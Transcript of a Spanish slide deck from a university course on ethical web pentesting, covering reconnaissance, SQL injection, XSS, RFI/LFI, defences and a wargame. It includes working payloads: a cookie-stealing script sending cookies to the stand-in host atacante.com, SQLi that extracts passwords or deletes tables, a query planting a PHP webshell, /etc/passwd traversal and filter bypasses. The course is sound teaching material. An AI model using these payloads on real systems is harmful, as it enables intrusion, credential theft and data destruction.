hacking ético [pentest]

58
HACKING ÉTICO: PENTEST DE APLICACIONES WEB Realizada por: Eduardo Arriols

Upload: eduardo-arriols

Post on 18-Nov-2014

2.577 views

Category:

Documents


6 download

DESCRIPTION

Curso realizado durante 3 días en la Universidad Autónoma de Madrid sobre como realizar un pentest o test de intrusión a aplicaciones web.

TRANSCRIPT

Page 1: Hacking ético [Pentest]

HACKING ÉTICO:HACKING ÉTICO:PENTEST DE APLICACIONES WEB

Realizada por: Eduardo Arriols

Page 2: Hacking ético [Pentest]

Yo.

� Estudiante de 2º de Ingeniería Inf.

� Aficionado a la Seguridad Informática y el � Aficionado a la Seguridad Informática y el Hacking.

� He trabajado en algunas empresas como auditor de seguridad.

� Titulado como experto en Seguridad Informática por la Unv. De Salamanca (Certyred)por la Unv. De Salamanca (Certyred)

� Twitter: @hackingeticoweb

� Youtube: /user/hackingeticoweb

Page 3: Hacking ético [Pentest]

Pentest de Aplicaciones Web

� Índice:

� 1. Introducción� 1. Introducción

� 2. Footprinting y Fingerprinting

� 3. Búsqueda de vulnerabilidades

� 4. Explotación de vulnerabilidades

� 5. Soluciones

Page 4: Hacking ético [Pentest]

1. Introducción: Test de intrusión o Pentest

Page 5: Hacking ético [Pentest]

Test de Intrusión o Pentest

� Método para evaluar la seguridad de un sistema o red de sistemas de información simulando el ataque red de sistemas de información simulando el ataque realizado por un intruso.

� Fases:

� Footprinting y Fingerprinting

� Búsqueda de Vulnerabilidades

� Explotación de Vulnerabilidades (PoC)

� Solución / Informe

Page 6: Hacking ético [Pentest]

Test de Intrusión o Pentest

� Fases Test de Intrusión para un auditor:

Page 7: Hacking ético [Pentest]

Test de Intrusión o Pentest

� Fases Test de Intrusión para un atacante:

Page 8: Hacking ético [Pentest]

Metodologías

� Nos sirven como guía, permitiéndonos seguir un orden en todas las posibles pruebas a realizar.orden en todas las posibles pruebas a realizar.

� Entre las mas importantes, sobre todo a nivel web esta OWASP (Open Web Application Security Project).

� A nivel general OSSTMM también es muy importante, ya que abarca todos los campos.

Page 9: Hacking ético [Pentest]

2. Footprinting y Fingerprinting

Page 10: Hacking ético [Pentest]

¿Qué es?

� Primeras fases de un test de intrusión donde se va a buscar toda la información posible del objetivo.buscar toda la información posible del objetivo.

� Footprinting: Obtención de información publica acerca del objetivo. (Menos útil a nivel web).

� Fingerprinting: Obtención de información acerca del SO, de la versión del servidor… (Menos útil a nivel web).

Page 11: Hacking ético [Pentest]

Footprinting

� Esencial para elaborar un ataque sofisticado posterior.posterior.

� No intrusivo, la entidad no debe detectarlo.

� Recopilar mayor cantidad de información publica.

� Tipos:

� Activo: Se realizan pruebas contra los sistemas.Activo: Se realizan pruebas contra los sistemas.

� Pasivo: En ningún momento nos conectamos con el sistema a auditar.

Page 12: Hacking ético [Pentest]

Footprinting

� Esta fase tiene mas sentido cuando se auditan sistemas informáticos grandes como el de alguna sistemas informáticos grandes como el de alguna empresa.

� Recopilación Pasiva:� Búsqueda con Google (Hacking Google) y otros buscadores.buscadores.

�Obtención de “vecinos web” de la aplicación.

� Recopilación Activa (Utilización de Proxys):� Familiarizarse con la aplicación .

Page 13: Hacking ético [Pentest]

Footprinting

� Google Hacking:� Solo urls de la web auditada:� Solo urls de la web auditada:

Site:empresa.com

� Tecnología que usa (php,asp,aspx…):Site:empresa.com inurl:”.php?”

� Paginas con links a la web auditada:Link:empresa.com

� Archivos txt: � Archivos txt: Site:empresa.com ext:txt

� Busquedas avanzadas:� Buscando SQLi:

Site:empresa.com inurl:”.php?” “Warning mysql_fetch_array()”

Page 14: Hacking ético [Pentest]

Footprinting

� Obtención de “vecinos web”:

� Robtex.com (Nos da + opciones)� Robtex.com (Nos da + opciones)

� Serversniff.net/content.php?do=hostonip

�Myipneighbors

� Recopilación activa:

� Navegar por la web y familiarizarse con ella.

� Comprender la lógica de la aplicación.

Page 15: Hacking ético [Pentest]

Fingerprinting

� A veces incluido dentro de fase de obtención de información (activo).información (activo).

� Buscamos:

� Identificar las versiones y los servicios que ofrece el sistema a auditar.

Identificación de sistemas operativos, elementos de red, � Identificación de sistemas operativos, elementos de red, etcétera.

� Identificación de firewalls (WAF), IDS y CMS

Page 16: Hacking ético [Pentest]

Fingerprinting

� Identificación las versiones y el SO:� Búsqueda de banners/errores en la aplicación.� Búsqueda de banners/errores en la aplicación.

� Utilización de herramientas (Identificacion de CMS)Joomscan y wpscan (Joomla o Wordpress)

� Utilización de crawlers para conocer la estructura de la aplicación (DirBuster).

� Comprobar si tiene algún tipo de WAF o IDS.� Herramienta: Waffit

Page 17: Hacking ético [Pentest]

Pruebas:

Footprinting Fingerprinting

� Google Hacking

� Buscar “vecinos web” de uam.es

� Búsqueda de banners y mensajes de error

� Utilizar DirBuster

� Comprobar si existe WAFWAF

� Identificar CMS

Page 18: Hacking ético [Pentest]

Navegación Anónima

� Antes de continuar es importante saber como podemos navegar de forma anónima, algo podemos navegar de forma anónima, algo necesario incluso cuando estamos realizando un pentest y la empresa lo sabe.

� Opciones:

� Utilización de TOR

Utilización de algún proxy intermedio� Utilización de algún proxy intermedio

� Navegación mediante proxy

Page 19: Hacking ético [Pentest]

Navegación Anónima

� Utilización de TOR (https://www.torproject.org/):� Comandos para iniciarlo (Ya esta instalado):� Comandos para iniciarlo (Ya esta instalado):

� cd tor-browser_es-ES/� . /start-tor-browser

� Utilizar proxy intermedio (Configurar navegador):� Por ejemplo: http://www.samair.ru/proxy/Por ejemplo: http://www.samair.ru/proxy/

� Navegar desde proxy:� Por ejemplo: http://glypeproxy.com/

Page 20: Hacking ético [Pentest]

3. Búsqueda de Vulnerabilidades

Page 21: Hacking ético [Pentest]

Búsqueda de Vulnerabilidades

� Una vez sabemos como funciona la aplicación y tenemos identificados los posibles puntos de tenemos identificados los posibles puntos de entrada es hora de buscar las diferentes vulnerabilidades.

� Tipos:

� SQL Injection

XSS� XSS

� RFI / LFI (+ Path Transversal)

� Por versiones de Software

Page 22: Hacking ético [Pentest]

Búsqueda de Vulnerabilidades

� SQL Injection:

� Técnica que permite la manipulación de las consultas � Técnica que permite la manipulación de las consultas que la aplicación realiza a la Base de Datos.

� Identificar los “Input” de la aplicación que se relacionan con la Base de Datos e intentar modificarla o hacer que falle (Añadiendo..):� Una ‘� Una ‘

� Viendo si cambia al introducir:� And 1=1

� And 1=0

Page 23: Hacking ético [Pentest]

Búsqueda de Vulnerabilidades

� XSS:

� Vulnerabilidades que permiten la modificación del � Vulnerabilidades que permiten la modificación del código fuente de la aplicación.

� Pueden ser: � Persistentes: Cuando el código modificado se almacena.

� Reflejado: Cuando el código modificado se elimina al cargar de nuevo la pagina.cargar de nuevo la pagina.

� Forma de descubrirlo:� Intentar introducir: “/><script>alert(123)</script>

� Viendo el código fuente de la aplicación.

Page 24: Hacking ético [Pentest]

Búsqueda de Vulnerabilidades

� RFI / LFI (+ Path Transversal)

� LFI: Nos permite cargar archivos del sistema como por � LFI: Nos permite cargar archivos del sistema como por ejemplo el archivo de contraseñas de linux(/etc/passwd).

� RFI: Nos permite cargar código de una pagina externa, lo que hace que se puedan utilizar webshells remotas que veremos mas adelante.

� Identificación (Ejemplo):� Url: “index.php?page=http://google.com”

Page 25: Hacking ético [Pentest]

Búsqueda de Vulnerabilidades

� Por versiones de Software:

� Buscar con la información obtenida de la primera fase � Buscar con la información obtenida de la primera fase posibles exploits y vulnerabilidades para el sistema a auditar.

� Paginas donde buscar:� http://www.exploit-db.com� http://www.exploit-db.com

� http://www.securityfocus.com

Page 26: Hacking ético [Pentest]

Búsqueda de Vulnerabilidades

� Herramientas:

� Nikto: Permite una búsqueda de vulnerabilidades sobre � Nikto: Permite una búsqueda de vulnerabilidades sobre todo a nivel web. Nos permite hacernos una idea de donde puede fallar la aplicación.

root@bt:/pentest/web/nikto# perl nikto.pl –host x.com

� Herramientas de pago:� Herramientas de pago:

� Acunetix

� Netsparker

Page 27: Hacking ético [Pentest]

Pruebas:

Búsqueda de Vulnerabilidades:

� Mediante Google Hacking encontrar web vulnerables a SQL Injection

� Encontrar XSS comprobando código fuente

� Leer archivo distinto al predefinido (LFI)

Cargar Google.com (RFI)� Cargar Google.com (RFI)

Page 28: Hacking ético [Pentest]

4. Explotación de Vulnerabilidades

Page 29: Hacking ético [Pentest]

Explotación de Vulnerabilidades

� En esta fase vamos a ver de que formas podría un atacante sacar información confidencial o modificar atacante sacar información confidencial o modificar la aplicación web.

� Las técnicas que vamos a ver son:� SQL Injection (Union, Blind, Time-base…)

� XSS (Reflejado y persistente)� XSS (Reflejado y persistente)

� RFI / LFI (+ Path Transversal)

� Técnicas de Bypass

� Curiosidades

Page 30: Hacking ético [Pentest]

SQL Injection

� Durante la formación vamos a ver los siguientes tipos de inyección SQL:tipos de inyección SQL:

�Mediante UNION

� Boolean-base Blind SQLi (A ciegas)

� Time-Base Blind SQLi (Basadas en tiempo)

� Heavy Queries SQLi (Consultas pesadas)

Stack Queries SQLi (Consultas apiladas)� Stack Queries SQLi (Consultas apiladas)

� De SQL Injection a RFI

Page 31: Hacking ético [Pentest]

SQL Injection (Mediante UNION)

� Sacar información básica (usuario, DB…):

� Dejamos la consulta de la aplicación vacía� Dejamos la consulta de la aplicación vacía

� Buscamos el numero de columnas que tiene la consulta para poder realizar nuestra propia consulta mediante “UNION”

� Sacamos información mediante:� User(),database(),@@version,@@datadir…� User(),database(),@@version,@@datadir…

Page 32: Hacking ético [Pentest]

SQL Injection (Mediante UNION)

� Sacar tablas de la BD

� Utilizamos la tabla: information_schema.tables� Utilizamos la tabla: information_schema.tables

� De ahí sacamos que tablas hay en la base de datos

� Utilización de “limit N,1” para sacar las distintas

tablas

� Sacar columnas de las tablas

� Idéntico al anterior pero utilizando information_schema.columns

Page 33: Hacking ético [Pentest]

SQL Injection (Mediante UNION)

� Sacar registros de las tablas

� Con la información obtenida construimos la consulta � Con la información obtenida construimos la consulta que queremos como:�… UNION SELECT usuario,password FROM usuarios LIMIT 0,1

� Pudiendo así ir sacando todos los registros de la tabla, � Pudiendo así ir sacando todos los registros de la tabla, en caso de que no nos dejara todos a la vez.

Page 34: Hacking ético [Pentest]

Boolean-base Blind SQLi

� En este caso, nos enfrentamos a una situación en la que el atacante no recibe ningún tipo de que el atacante no recibe ningún tipo de información por pantalla. Y habrá que ir realizando consultas y fijándonos si el resultado es positivo o negativo (Situación Booleana).

� Hay que ir extrayendo letra por letra todo la información. Ejemplo:información. Ejemplo:

� Ejemplo:

… UNION SELECT 1, substr(pass,1,1)=‘a’ from usuarios

Page 35: Hacking ético [Pentest]

Time-Base Blind SQLi

� Son situaciones similares a la anterior, donde la aplicación no muestra ningún tipo de dato por pantalla. aplicación no muestra ningún tipo de dato por pantalla. Pero además, ahora la aplicación tampoco cambiara entre dos opciones (la condición cierta y la falsa)…

� Aun así no esta todo perdido, es posible realizar otras consultas donde lo que nos va a indicar si es cierta o no la consulta será el tiempo de respuesta de la base de la consulta será el tiempo de respuesta de la base de datos.

� Ej:

… UNION SELECT 1, substr(pass,1,1)=‘a’ from usuarios and sleep(5)

Page 36: Hacking ético [Pentest]

Heavy Queries SQLi

� Esta técnica es una variante de la anterior, pero donde para complicar mas las cosas la opción donde para complicar mas las cosas la opción sleep() esta filtrada…

� En este caso deberemos realizar consultas pesadas, que provoquen que la base de datos tarde mucho en responder, logrando el mismo efecto que con sleep() aunque menos preciso. sleep() aunque menos preciso.

� Para esta técnica MySQL no tiene tantas opciones como Postgres o Mssql.

Page 37: Hacking ético [Pentest]

Heavy Queries SQLi

� Ej:

… UNION SELECT 1, substr(pass,1,1)=‘a’ from usuarios… UNION SELECT 1, substr(pass,1,1)=‘a’ from usuariosand 1=(SELECT COUNT(*) FROM information_schema.columns as a, information_schema.columns as b, information_schema.columns as c, information_schema.columns as d,

information_schema.columns as e)

Esta consulta tarda unos 5 segundos en realizarse.

Page 38: Hacking ético [Pentest]

Stack Queries SQLi

� Esta ultima técnica que vamos a ver es sin duda la mas peligrosa. mas peligrosa.

� Hasta ahora todas las técnicas que hemos visto nos permitían obtener información, pero no modificarla. En cambio ahora si vamos a poder hacerlo mediante la apilación de consultas. Con ello podremos en una sola petición realizar varias consultas (Separadas por ‘;’).consultas (Separadas por ‘;’).

� Ej (Borrado completo de la tabla usuarios):

… AND 1=0; DELETE FROM usuarios

Page 39: Hacking ético [Pentest]

De SQL Injection a RFI

� Con esta ultima técnica vamos a ver una de las formas de lograr obtener un RFI mediante una formas de lograr obtener un RFI mediante una inyección SQL.

� En el ejemplo crearemos un archivo php que podremos llamar desde el navegador introduciendo en el parámetro ‘cmd’ la url de la WebShell, obteniendo el control del servidor completo.

� Ej:

… UNION SELECT 1,’<?php include($_GET[$cmd]); ?>’ INTO OUTFILE ‘/prueba.php’

Page 40: Hacking ético [Pentest]

XSS

� Vulnerabilidad que principalmente se utiliza para el robo de cookies o credenciales, pero también para robo de cookies o credenciales, pero también para realizar ‘defaces’ de webs, instalar keyloggers, troyanización de navegadores…

� Tipos: � Reflejado: Permite únicamente el robo de cookies o credenciales. Se basa en la ejecución de código por parte del navegador al interpretar la url(Independiente).del navegador al interpretar la url(Independiente).

� Persistente: Permite todos los tipos de ataques anteriores, es menos común de encontrar. Los datos son guardados en el servidor, y servidos a todos aquellos que visiten la pagina.

Page 41: Hacking ético [Pentest]

XSS

� Ejemplo de robo de cookies (Reflejado):<script>document.location="http://atacante.com/robo<script>document.location="http://atacante.com/robo_cookies.php?cookie=" + document.cookie</script>

Esto permite que el atacante robe los datos y pueda logearse en la aplicación modificando sus cookies.

Realización de deface (Persistente):� Realización de deface (Persistente):� Cargar pagina externa

�Modificar la pagina actual con código Javascript

Page 42: Hacking ético [Pentest]

RFI / LFI

� RFI (Remote File Inclusion): Permite cargar en el servidor código que se encuentra en otro servidor.servidor código que se encuentra en otro servidor.

� Normalmente se utiliza para subir una WebShell y tomar el control del servidor.

� Es complicado encontrar este tipo de vulnerabilidades, ya que se necesita que se den una serie de condiciones…condiciones…

� Para explotarlo únicamente seria necesario cargar la url donde se encuentre la WebShell, siempre en txtdebido a que sino se ejecutaría en nuestro servidor.

Page 43: Hacking ético [Pentest]

RFI / LFI

� LFI: Nos permite acceder a ficheros del servidor de carácter privado. Para ello normalmente se hace uso del Path Transversal, que es una técnica para ir carácter privado. Para ello normalmente se hace uso del Path Transversal, que es una técnica para ir saltando de directorio.

� Ej:� Aplicación: ?page=index.php� Atacante: ?page=../../../../../../../../../../etc/passwd

Consiguiendo con esto acceso al archivo /etc/passwd delservidor.

Page 44: Hacking ético [Pentest]

Técnicas de Bypass

� En algunas aplicaciones que se encuentra ‘seguras’ se filtran una serie de cadenas para evitar que se se filtran una serie de cadenas para evitar que se lleven acabo ciertas técnicas como SQLi o XSS.

� Pero en la inmensa mayoría resulta trivial saltárselas realizando pequeñas modificaciones.

� Bypass de filtros en:

SQL Injection� SQL Injection

� XSS

Page 45: Hacking ético [Pentest]

Técnicas de Bypass (SQLi)

� Con estas técnicas básicas es posible saltarse la gran mayoría de filtros, debido a que únicamente buscaran mayoría de filtros, debido a que únicamente buscaran la palabra exacta y no pequeñas variaciones.

� Alternar May. Y Min: … uNiOn SelEcT 1,2

� AND Filtrado: Sustituir AND por %26%26

OR Filtrado: Sustituir OR por ||� OR Filtrado: Sustituir OR por ||

� Uso de comentarios:

… uNi/**/On Sel/**/EcT 1,2

Page 46: Hacking ético [Pentest]

Tecnicas de Bypass(XSS)

� En el caso de XSS es similar…

� Caracteres ‘<’ y ‘>’ filtrados: Sustituirlos por %3c y %3e (Su valor en ascii)

� Palabras como script filtradas:

� Intercalar May. y Min.Intercalar May. y Min.

� Uso de comentarios: <scr<--comentario-->ipt>

� Uso de URL Encode, etc…

Page 47: Hacking ético [Pentest]

Curiosidades

� Buscadores como arma de destrucción masiva:

� Indexar una url vulnerable a Stack Queries SQLi en � Indexar una url vulnerable a Stack Queries SQLi en buscadores como Google, Bing… Lo que podría permitir que cada cierto tiempo a dicha aplicación se le borrara la DB.

� Troyanizacion de navegadores:� Troyanizacion de navegadores:

�Mediante la herramienta BeEF es posible troyanizar los navegadores de todas aquellas personas que entren en una pagina vulnerable a XSS Persistente.

Page 48: Hacking ético [Pentest]

Pruebas

Explotación de Vulnerabilidades: SQL Injection

� Obtener información privada de la aplicación

� Descubrir Boolean-Base Blind SQLi

� Descubrir Time-Base Blind SQLi

� Bypass de filtro SQL Injection

� Lograr RFI desde SQL Injection

Page 49: Hacking ético [Pentest]

Pruebas

XSS RFI / LFI

� Realizar XSS Reflejado

� Introducir XSS Persistente con un comentario

� Acceso a archivos privados del serv.

� Utilización de una WebShell

comentario

� Salto de filtro XSS

Page 50: Hacking ético [Pentest]

Soluciones

Page 51: Hacking ético [Pentest]

Soluciones

� La gran mayoría de fallos vistos se podrían evitar si desde un principio se hubieran implementado medidas desde un principio se hubieran implementado medidas de seguridad, normalmente con un correcto tratamiento de todos aquellos input es suficiente.

� Daremos una solución sencilla pero efectiva a los ataques vistos (SQLi, XSS, RFI/LFI)

� Como por ejemplo, si se espera un numero, utilizar funciones � Como por ejemplo, si se espera un numero, utilizar funciones como isint en php, evitando que se introduzca otra cosa.

� Aunque para asegurar realmente una aplicación a “prueba de bombas” suele ser muy efectivo un WAF.

Page 52: Hacking ético [Pentest]

Soluciones

� SQL Injection:� Transformar todo a ascii (evitando caracteres en hex.) � Transformar todo a ascii (evitando caracteres en hex.) � Utilización de funciones propias del servidor para securizarlas consultas (php+mysql como mysql_real_query, etc…)

� Realizar un filtrado de las palabras:And, or, union, select, concat, group, from, where, sleep, etc…

� XSS:� Utilizar funciones propias del lenguaje como: html_entities� Utilizar funciones propias del lenguaje como: html_entities� Además realizar un filtrado tanto de comentarios como de caracteres especiales.

� Dejar todo en minúsculas o mayúsculas.

Page 53: Hacking ético [Pentest]

Soluciones

� RFI / LFI:� Desactivar características del servidor web como:� Desactivar características del servidor web como:

� allow_url_fopen� allow_url_include

Que eviten que un atacante pueda incluir archivos tantoremotos como locales.

� Evitar el uso de ciertas funciones como:� Evitar el uso de ciertas funciones como:� Include� Require� Require_once� …

Page 54: Hacking ético [Pentest]

Fin …

Una vez hemos visto como realizar un proceso de pentest o test de intrusión completo a una aplicación web, siguiendo todas y cada una de sus fases desde la obtención de información hasta la solución de las vulnerabilidades, es hora de…solución de las vulnerabilidades, es hora de…

Page 55: Hacking ético [Pentest]

!Aun queda lo mas divertido!

5. Wargame

Page 56: Hacking ético [Pentest]

Wargame

� Una vez hemos aprendido las técnicas mas utilizadas tanto por los atacantes como por lo utilizadas tanto por los atacantes como por lo pentesters es hora de demostrar todo lo que sabéis.

� Se os pondrán una serie de retos que deberéis intentar realizar lo antes posible, quien al final sume mas puntos será el ganador asique… sume mas puntos será el ganador asique…

Suerte!!

Page 57: Hacking ético [Pentest]

Wargame

� Retos a realizar:

�Obtener Usuarios � 30 puntos�Obtener Usuarios � 30 puntos

� Logearse como usuario � 50 puntos

�Obtener datos bancarios � 30 puntos

�Modificar datos bancarios (Ayudar a pette) � 150 pts

� Deface sencillo de la pag. Principal � 100 puntos

Ejecutar comandos en el SO � 75 puntos� Ejecutar comandos en el SO � 75 puntos

� Lectura del fichero: C:/xampp/premio.php � 20 puntos

Page 58: Hacking ético [Pentest]

ESPERO QUE LO HAYÁIS DISFRUTADO Y APRENDIDO MUCHO DE LA FORMACIÓN.PARA MI HA SIDO UN PLACER Y YA SABÉIS QUE PARA LO QUE NECESITÉIS NO DUDÉIS EN PONEROS EN CONTACTO CONMIGO!PONEROS EN CONTACTO CONMIGO!

UN SALUDO A TOD@S!GRACIAS.

GRACIAS EN ESPECIAL A:ROBERTO LOPEZROBERTO LOPEZÁLVARO ORTIGOSAÁLVARO GOMEZ (J0K3N)

Realizada por: Eduardo Arriols